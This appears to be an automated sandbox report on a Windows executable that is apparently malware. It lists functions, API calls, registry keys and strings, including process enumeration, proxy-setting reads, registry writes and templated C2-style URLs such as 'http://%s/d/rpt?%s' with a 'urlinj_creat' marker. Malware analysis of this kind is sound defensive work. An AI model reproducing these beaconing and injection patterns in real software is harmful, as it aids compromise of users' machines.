RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412170,00000012), ref: 004039CD
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412170,00000012), ref: 004039EE
Sleep.KERNEL32(000927C0,?,?,?,?,?,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00403A0C

Strings

Default Flags, xrefs: 004039C7, 004039E3
isdn, xrefs: 00402DC4
%u.%u.%u.%s, xrefs: 00402C16
modem, xrefs: 00402D97

Memory Dump Source

Source File: 00000000.00000002.1354426262.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1354413062.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354454729.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354467496.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354482959.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: TimeValue$FileSleepSystemclosesocketgethostbynamehtonslstrcpysocket
String ID: %u.%u.%u.%s$Default Flags$isdn$modem
API String ID: 1870287861-1479823086
Opcode ID: 96acd3ec43a28ade2448771fe3d395cccea34a43eb763a718d322ee28eed03fa
Instruction ID: 2ee653d2f7df55df6907a0a9b2e57412953aa95c4ecf6cadf6b3b4d2485eddb3
Opcode Fuzzy Hash: 96acd3ec43a28ade2448771fe3d395cccea34a43eb763a718d322ee28eed03fa
Instruction Fuzzy Hash: E412D3B0A002149FDB20EF28CD45B997BB5AF45304F1482FAE808B73D1D7799A85CF59

Function 004019AA Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 229processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004019BF
Process32First.KERNEL32(00000000,?), ref: 00401A0A
CloseHandle.KERNEL32(00000000), ref: 00401C12

Strings

T2A, xrefs: 00401B56, 00401BB4

Memory Dump Source

Source File: 00000000.00000002.1354426262.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1354413062.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354454729.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354467496.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354482959.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID: T2A
API String ID: 1083639309-2019523081
Opcode ID: 1e948c95aaa689c1ab19c458318ec14d1cde759feb862ccd8d81315eded4b2f4
Instruction ID: 7c6136f779b091b801ec7ced044d4ecd4f532b5644714f746006db05a6c2f320
Opcode Fuzzy Hash: 1e948c95aaa689c1ab19c458318ec14d1cde759feb862ccd8d81315eded4b2f4
Instruction Fuzzy Hash: 627108706482009BE710AB24DD41B9B3BB8AB45348F04453AF945E72E1F37CE669CB9A

Function 0040263A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,00000000,00000100,?), ref: 0040265C
select.WS2_32(00000000,?,00000000,00000000,?), ref: 004026B1

Strings

(, xrefs: 00402679

Memory Dump Source

Source File: 00000000.00000002.1354426262.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1354413062.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354454729.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354467496.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354482959.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: FileInternetReadselect
String ID: (
API String ID: 1501673908-3887548279
Opcode ID: 90583d2b313c707988cabef44d03dce10f4e52a7c9587c3868e69efa36d07d23
Instruction ID: 6522e2537fb8c8e721883018bf3c6a7a4605c561a93ab5d2b210f47b7f02e7dc
Opcode Fuzzy Hash: 90583d2b313c707988cabef44d03dce10f4e52a7c9587c3868e69efa36d07d23
Instruction Fuzzy Hash: 094172341083859BD3318F24C588BEBFBE4EB89314F24492FD8D9972C2D3B99865CB56

Function 00402030 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 234networkstringCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,?), ref: 00402065
lstrlenA.KERNEL32(00000000,?), ref: 0040206E
htons.WS2_32(00000000), ref: 004020C9
inet_addr.WS2_32(?), ref: 004020F0
gethostbyname.WS2_32(?), ref: 00402107
socket.WS2_32(00000002,00000001,00000006), ref: 0040213E
closesocket.WS2_32(00000000), ref: 00402169
wsprintfA.USER32 ref: 004021B5
send.WS2_32(00000000,?,00000000,00000000), ref: 004021C5
lstrcmpiA.KERNEL32(?,HTTP/1.0 200), ref: 00402206
InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 0040229C
InternetSetOptionA.WININET(00000000,00000002,00009C40,00000004), ref: 004022BF
InternetSetOptionA.WININET(00000000,00000006,00009C40,00000004), ref: 004022CB
InternetSetOptionA.WININET(00000000,00000005,00009C40,00000004), ref: 004022D7
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,84280300,00000000), ref: 004022F2
InternetCloseHandle.WININET(00000000), ref: 00402336

Strings

Mozilla/4.0 (compatible; MSIE 6.0; Win32), xrefs: 00402297
0, xrefs: 004021EF
HTTP/1.0 200, xrefs: 00402200
GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 00402183
GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 0040217C

Memory Dump Source

Source File: 00000000.00000002.1354426262.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1354413062.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354454729.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354467496.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354482959.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Internet$Option$Open$CloseHandleclosesocketgethostbynamehtonsinet_addrlstrcmpilstrcpylstrlensendsocketwsprintf
String ID: 0$GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$HTTP/1.0 200$Mozilla/4.0 (compatible; MSIE 6.0; Win32)
API String ID: 326340279-182194581
Opcode ID: c5914518efa31e6daf1d6d1c5ad6aede4384d13f612d860edefc583a5bee64dd
Instruction ID: 67f1582d9d65064009b7b38dedaf8d45dcb20af8a74f6ab8ff9eb660a5d02e62
Opcode Fuzzy Hash: c5914518efa31e6daf1d6d1c5ad6aede4384d13f612d860edefc583a5bee64dd
Instruction Fuzzy Hash: 83810DB0E002045BD710AB749E49B5F76B8AB05314F0441B6EB05FB2D1E7FC9A59C79E

Function 004038AA Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 306networksleepregistryCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,?,?,?,?,?,?,0040F4FC,?,00000000,?,?,?,0040F4FC,?,00000000), ref: 004029F2
gethostbyname.WS2_32(?), ref: 00402A11
htons.WS2_32(00000050), ref: 00402A30
socket.WS2_32(00000002,00000001,00000006), ref: 00402A5B
closesocket.WS2_32(00000000), ref: 00402A84
Sleep.KERNEL32(00000000), ref: 004038FD
GetSystemTimeAsFileTime.KERNEL32(?), ref: 00403920
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412170,00000012), ref: 004039CD
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412170,00000012), ref: 004039EE
Sleep.KERNEL32(000927C0,?,?,?,?,?,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00403A0C

Strings

Default Flags, xrefs: 004039C7, 004039E3
isdn, xrefs: 00402DC4
%u.%u.%u.%s, xrefs: 00402C16
modem, xrefs: 00402D97

Memory Dump Source

Source File: 00000000.00000002.1354426262.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1354413062.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354454729.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354467496.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354482959.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: SleepTimeValue$FileSystemclosesocketgethostbynamehtonslstrcpysocket
String ID: %u.%u.%u.%s$Default Flags$isdn$modem
API String ID: 104937078-1479823086
Opcode ID: 23bc219b5744c9827f2f8f9d690f39e8be89f3e5c2ca0e4ade555a46899b0d44
Instruction ID: 51207a69c6f84e7cd26efe5e5962b9edc78a43a6ad57510283d07de6baf8f7fe
Opcode Fuzzy Hash: 23bc219b5744c9827f2f8f9d690f39e8be89f3e5c2ca0e4ade555a46899b0d44
Instruction Fuzzy Hash: 94C12C71A002149BDB20DF38CD49BD977B5AF44304F1082B6E509F72D1E7B99A58CF5A

Function 004016E1 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 144registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,0040228C), ref: 00401720
lstrlenA.KERNEL32(?,?,?,00001000,00000000,?,00000000,?,?,0040228C), ref: 00401751
lstrcatA.KERNEL32(?,\Software\Microsoft\Windows\CurrentVersion\Internet Settings,?,?,?,?,?,?,?,00001000,00000000,?,00000000,?,?,0040228C), ref: 0040177F
RegOpenKeyExA.ADVAPI32(80000003,00000000,00000000,00020019,?,\Software\Microsoft\Windows\CurrentVersion\Internet Settings,?,?,?,?,?,?,?,00001000,00000000,?), ref: 00401795
RegQueryValueExA.ADVAPI32(?,ProxyEnable,00000000,?,?,?,?,?,?,00020019,?,\Software\Microsoft\Windows\CurrentVersion\Internet Settings), ref: 004017D2
RegOpenKeyExA.ADVAPI32(?,Connections,00000000,00020019,?,?,?,?,?,?,?,?,?,00020019,?,\Software\Microsoft\Windows\CurrentVersion\Internet Settings), ref: 00401817
RegEnumValueA.ADVAPI32(?,?,?,?,00000000,?,?,00001000), ref: 0040189E
RegCloseKey.ADVAPI32(?), ref: 004018BD
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00020019,?,\Software\Microsoft\Windows\CurrentVersion\Internet Settings), ref: 004018CF
RegEnumKeyA.ADVAPI32(80000003,?,?,00001000), ref: 004018E8
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00001000,00000000,?,00000000,?,?,0040228C), ref: 004018FF

Strings

_Classes, xrefs: 00401762
\Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 00401779
ProxyEnable, xrefs: 004017C6
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections, xrefs: 00401716
Connections, xrefs: 0040180B

Memory Dump Source

Source File: 00000000.00000002.1354426262.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1354413062.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354454729.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354467496.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354482959.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Close$EnumOpenValue$CreateQuerylstrcatlstrlen
String ID: Connections$ProxyEnable$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections$\Software\Microsoft\Windows\CurrentVersion\Internet Settings$_Classes
API String ID: 1447802672-1466506419
Opcode ID: f294c517c20514b2f8faf26ffca72a768d62fae29f0f9d7abf442c73c3c025a1
Instruction ID: 66e194334fdec41dc41c183a83ee0e0423d2cbbda799cea80f6bf4481fa86f55
Opcode Fuzzy Hash: f294c517c20514b2f8faf26ffca72a768d62fae29f0f9d7abf442c73c3c025a1
Instruction Fuzzy Hash: 2941EEB2904344AAF73176219C0AF9B7B9C9B44348F14443FFE88B51D3E279962CC667

Function 00401439 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 70registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,?,?,?,?,?,?,?,?,004053DB), ref: 00401455
RegQueryValueExA.ADVAPI32(?,ShellRegEx,00000000,?,?,?,?,?,?,0002001F,?), ref: 00401482
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,0002001F,?), ref: 0040149E
RegOpenKeyExA.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,?,?,?,?,0002001F,?), ref: 004014BF
RegQueryValueExA.ADVAPI32(?,ShellRegEx,00000000,?,?,?,?,?,?,0002001F,?,?,?,?,?,0002001F), ref: 004014F3

Strings

ShellRegEx, xrefs: 00401479, 004014EA
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 0040144B, 004014B5

Memory Dump Source

Source File: 00000000.00000002.1354426262.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1354413062.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354454729.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354467496.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354482959.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: OpenQueryValue$Close
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced$ShellRegEx
API String ID: 2529929805-3421572904
Opcode ID: 4a95097c5cd9ac49c2c0031509204a62f35eae4208d5cebb0b882de0ceae9e8d
Instruction ID: 4b3f21838edb9e41f667f6993cf98c5a1242fec43926aa3cdaef8ebd8d2009fd
Opcode Fuzzy Hash: 4a95097c5cd9ac49c2c0031509204a62f35eae4208d5cebb0b882de0ceae9e8d
Instruction Fuzzy Hash: 8C1187B2904300B7E700AA61AD46F2777ACBB8470DF11083EFD45B51D2F279DA288767

Function 00401379 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 51processfilesynchronizationCOMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00401393
CreateProcessA.KERNEL32(?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 004013AF
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 004013C9
WaitForSingleObject.KERNEL32(?,000000FF,00000000,?,?), ref: 004013D9
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?), ref: 004013ED
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,?,?), ref: 004013FC
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000000,?,?), ref: 00401405

Strings

--k33p, xrefs: 004013A9

Memory Dump Source

Source File: 00000000.00000002.1354426262.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1354413062.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354454729.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354467496.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354482959.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CloseHandle$Create$FileInfoObjectProcessSingleStartupWait
String ID: --k33p
API String ID: 881816827-1573217081
Opcode ID: 5c9f2ae24bbf38b8e4d1a78f3c05765d0a18033d6e5426841d8ad069630d6b3d
Instruction ID: 3f95ffb7ecc753adf67741720bf5132c3bbf7ea7650a4e902ed5c82167082f99
Opcode Fuzzy Hash: 5c9f2ae24bbf38b8e4d1a78f3c05765d0a18033d6e5426841d8ad069630d6b3d
Instruction Fuzzy Hash: 8C01813180420476D6213A36AC07F0F7FA89B4576CF210A3DF959351EAE67D663D42AF

Function 004024CE Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 123stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00402520
lstrcpyA.KERNEL32(?,?), ref: 00402551
wsprintfA.USER32 ref: 004025A7
wsprintfA.USER32 ref: 004025C5
wsprintfA.USER32 ref: 00402620

Strings

http://%s.biz/d/G?, xrefs: 0040259F, 00402618
p!A, xrefs: 00402632
%02X, xrefs: 004025BF

Memory Dump Source

Source File: 00000000.00000002.1354426262.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1354413062.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354454729.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354467496.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354482959.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: wsprintf$lstrcpylstrlen
String ID: %02X$http://%s.biz/d/G?$p!A
API String ID: 1876335253-3368850760
Opcode ID: cb09279badd15ee99111056726957111c3d85b17a551844977e1177323dfd80f
Instruction ID: 2cea46374afef77fdc915a1e9f7db235c3865f046913e12eac0c1d1ce8585de9
Opcode Fuzzy Hash: cb09279badd15ee99111056726957111c3d85b17a551844977e1177323dfd80f
Instruction Fuzzy Hash: 4F410331C002189BDB11EF68CD8979EBBF5BF40308F150176E815BB2D2D3B9A919C799

Function 00401D76 Relevance: 12.1, APIs: 8, Instructions: 94networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 00401D9F
connect.WS2_32(00000000,?,00000010), ref: 00401DB3
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 00401DC9
WSAGetLastError.WS2_32 ref: 00401DDB
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 00401DF8

Memory Dump Source

Source File: 00000000.00000002.1354426262.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1354413062.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354454729.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354467496.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354482959.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: ioctlsocket$ErrorLastconnect
String ID:
API String ID: 1886816560-0
Opcode ID: 9e80b3ac6c6475ff1c6574f67f9f1b28db439d7aba4eb792491afc0fea029df5
Instruction ID: 443f35bcad443bf4521d197b8b602cf4c8bc99f5fac3635e2f32846607df0921
Opcode Fuzzy Hash: 9e80b3ac6c6475ff1c6574f67f9f1b28db439d7aba4eb792491afc0fea029df5
Instruction Fuzzy Hash: E53191B15042005AE230AA65DD45FDF76EC9B8531CF00073EF999A62D1E678A62982EB

Function 00401912 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 55registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?,?,?,00405EB0), ref: 0040193D
wsprintfA.USER32 ref: 00401953
RegEnumKeyA.ADVAPI32(?,00000000,?,00000300), ref: 0040197D
RegCloseKey.ADVAPI32(?,?,?,00000300,?,?,?,?,?,00020019,?,?,?,00405EB0), ref: 0040198D
RegDeleteKeyA.ADVAPI32(?), ref: 0040199A

Strings

%s\%s, xrefs: 0040194D

Memory Dump Source

Source File: 00000000.00000002.1354426262.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1354413062.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354454729.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354467496.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354482959.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CloseDeleteEnumOpenwsprintf
String ID: %s\%s
API String ID: 4202809218-4073750446
Opcode ID: bc1c0bbb8f76672b1839e5cdb49d41e6cb4f6e9dc379d8bdb7dadbb7b60f7000
Instruction ID: 17f0bcb135b28bc178a216f8b2dfa9435dc5451e8c8b02a629b5be3cc13ba035
Opcode Fuzzy Hash: bc1c0bbb8f76672b1839e5cdb49d41e6cb4f6e9dc379d8bdb7dadbb7b60f7000
Instruction Fuzzy Hash: C601ACB2A042047BE52075266D03F9B76ECCBC574CF11007AF909B61D1E5799F2981BF

Function 00401EC9 Relevance: 7.6, APIs: 5, Instructions: 113networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,?), ref: 00401F45
recv.WS2_32(00000000,?,?,00000002), ref: 00401F5E
recv.WS2_32(00000000,?,00000001,00000000), ref: 00401F7E
recv.WS2_32(00000000,?,-00000001,00000000), ref: 00401FB4
recv.WS2_32(00000000,?,00000000,00000000), ref: 00401FC6

Memory Dump Source

Source File: 00000000.00000002.1354426262.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1354413062.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354454729.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354467496.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354482959.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: recv$select
String ID:
API String ID: 873784944-0
Opcode ID: 331c4b56a962cc5ab22ade2b3a75bc455250cfa2f4922ab3eade63a1b2494d84
Instruction ID: c66e6617afff8c9d9109827ab4c11b99613a78ce40c43f432ca9f356368ad492
Opcode Fuzzy Hash: 331c4b56a962cc5ab22ade2b3a75bc455250cfa2f4922ab3eade63a1b2494d84
Instruction Fuzzy Hash: 0A31097040C3429BD731DE14C984B6BBAD8EB81358F24453FF589A62D1E3BD8445D7A7

Function 0040350B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24registrysleepCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003), ref: 00403526
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,?,00000012), ref: 00403543
Sleep.KERNEL32(00001388,00000012), ref: 00403550

Strings

Default Flags, xrefs: 00403520, 00403538

Memory Dump Source

Source File: 00000000.00000002.1354426262.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1354413062.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354454729.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354467496.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354482959.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Value$Sleep
String ID: Default Flags
API String ID: 3593280086-1793642065
Opcode ID: a5b68f8c3ddcba11c1e75a3cc52f21bfd238a8e0f43b38b7b4c9a5446ecc60c5
Instruction ID: c183a8bf8b1eb437f9bd20ceed0a90573d3401291b8ece137b7e57e0eade4e67
Opcode Fuzzy Hash: a5b68f8c3ddcba11c1e75a3cc52f21bfd238a8e0f43b38b7b4c9a5446ecc60c5
Instruction Fuzzy Hash: 68E04F71A8030472D7712639AE4BF477A3467A1B09F11007BB906398C7A5B51329D9AA

Function 00402471 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 29COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004024A3

Part of subcall function 00402030: lstrcpyA.KERNEL32(?,?), ref: 00402065
Part of subcall function 00402030: lstrlenA.KERNEL32(00000000,?), ref: 0040206E
Part of subcall function 00402030: htons.WS2_32(00000000), ref: 004020C9
Part of subcall function 00402030: socket.WS2_32(00000002,00000001,00000006), ref: 0040213E
Part of subcall function 00402030: closesocket.WS2_32(00000000), ref: 00402169
Part of subcall function 00402030: InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 0040229C
Part of subcall function 00402030: InternetSetOptionA.WININET(00000000,00000002,00009C40,00000004), ref: 004022BF
Part of subcall function 00402030: InternetSetOptionA.WININET(00000000,00000006,00009C40,00000004), ref: 004022CB
Part of subcall function 00402030: InternetSetOptionA.WININET(00000000,00000005,00009C40,00000004), ref: 004022D7

Part of subcall function 00401D38: InternetCloseHandle.WININET(?), ref: 00401D49
Part of subcall function 00401D38: InternetCloseHandle.WININET(00000000), ref: 00401D51

Strings

urlinj_creat, xrefs: 00402473
http://%s/d/rpt?%s, xrefs: 00402499
12@, xrefs: 00402487, 00402498

Memory Dump Source

Source File: 00000000.00000002.1354426262.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1354413062.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354454729.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354467496.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354482959.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Internet$Option$CloseHandle$Openclosesockethtonslstrcpylstrlensocketwsprintf
String ID: 12@$http://%s/d/rpt?%s$urlinj_creat
API String ID: 2941392982-2858504077
Opcode ID: f9e1d899c8cb631e133cdf2d4e1ab3e6813410de5d1cdf2efe6631ca7b0b0578
Instruction ID: 88ec9d7906897b8114724b1b79faff9a7f04a0d329b8cb3f5de5d04a505f717c
Opcode Fuzzy Hash: f9e1d899c8cb631e133cdf2d4e1ab3e6813410de5d1cdf2efe6631ca7b0b0578
Instruction Fuzzy Hash: ECE06DB160525017E310B669AC86BDB268C9B44388F50453EBB49B32C6E9BDAC4086AA

Analysis Process: edsuvoov-usum.exePID: 8004, Parent PID: 7988COMMON

Executed Functions

Function 00403A19 Relevance: 605.0, APIs: 287, Strings: 57, Instructions: 2982registrystringfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00403A27
GetVersionExA.KERNEL32(004120D0), ref: 00403A43
LoadLibraryA.KERNEL32(kernel32.dll), ref: 00403A74
GetProcAddress.KERNEL32(00000000,00407014), ref: 00403AA2
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403ACC
GetCommandLineA.KERNEL32(00000104), ref: 00403AD4
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00403AF2
GetCurrentProcessId.KERNEL32 ref: 00403B09
Process32First.KERNEL32(?,?), ref: 00403B32
OpenProcess.KERNEL32(00100000,00000000,?), ref: 00403B6A
CloseHandle.KERNEL32(?,?,?), ref: 00403B7B
Process32Next.KERNEL32(?,?), ref: 00403B94
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00403BAC
CloseHandle.KERNEL32(00000000,000000FF), ref: 00403BB5
GetStartupInfoA.KERNEL32(?), ref: 00403BC2
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00403BE9
